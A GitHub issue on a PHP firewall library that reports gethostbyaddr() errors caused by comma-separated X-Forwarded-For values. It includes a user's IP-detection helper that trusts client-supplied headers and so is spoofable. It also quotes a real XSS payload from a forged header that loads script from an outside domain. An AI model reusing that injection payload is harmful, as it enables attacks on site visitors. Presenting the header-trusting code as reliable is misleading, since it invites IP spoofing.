Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Comma-separated multiple IP address cause error "gethostbyaddr(): Address is not a valid IPv4 or IPv6 address" #165

Open
jordanade opened this issue Nov 2, 2019 · 3 comments

Comments

@jordanade
Copy link

Apparently I'm getting a lot of these errors because the code (Firewall.php:270) is relying on HTTP_X_FORWARDED_FOR which can contain multiple addresses separated by commas.

@jordanade
Copy link
Author

Here's code I use to reliably get the actual user IP:

function getUserIP()
{
	if (getenv('HTTP_X_FORWARDED_FOR')) {
		$ip = getenv('HTTP_X_FORWARDED_FOR');
		if ($first_ip_in_list = stristr($ip, ',', true))
			$ip = $first_ip_in_list;
	}
	elseif (getenv('HTTP_X_REAL_IP')) {
		$ip = getenv('HTTP_X_REAL_IP');
	}
	else {
		$ip = $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
	}
	return $ip;
}

@jordanade
Copy link
Author

Related to this is another issue where malformed HTTP_X_FORWARDED_FOR is being used as an attack vector—I recently got this error with the following value:
\"><script type=text/javascript src='https://css.digestcolect.com/stm?&tp=3'></script>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant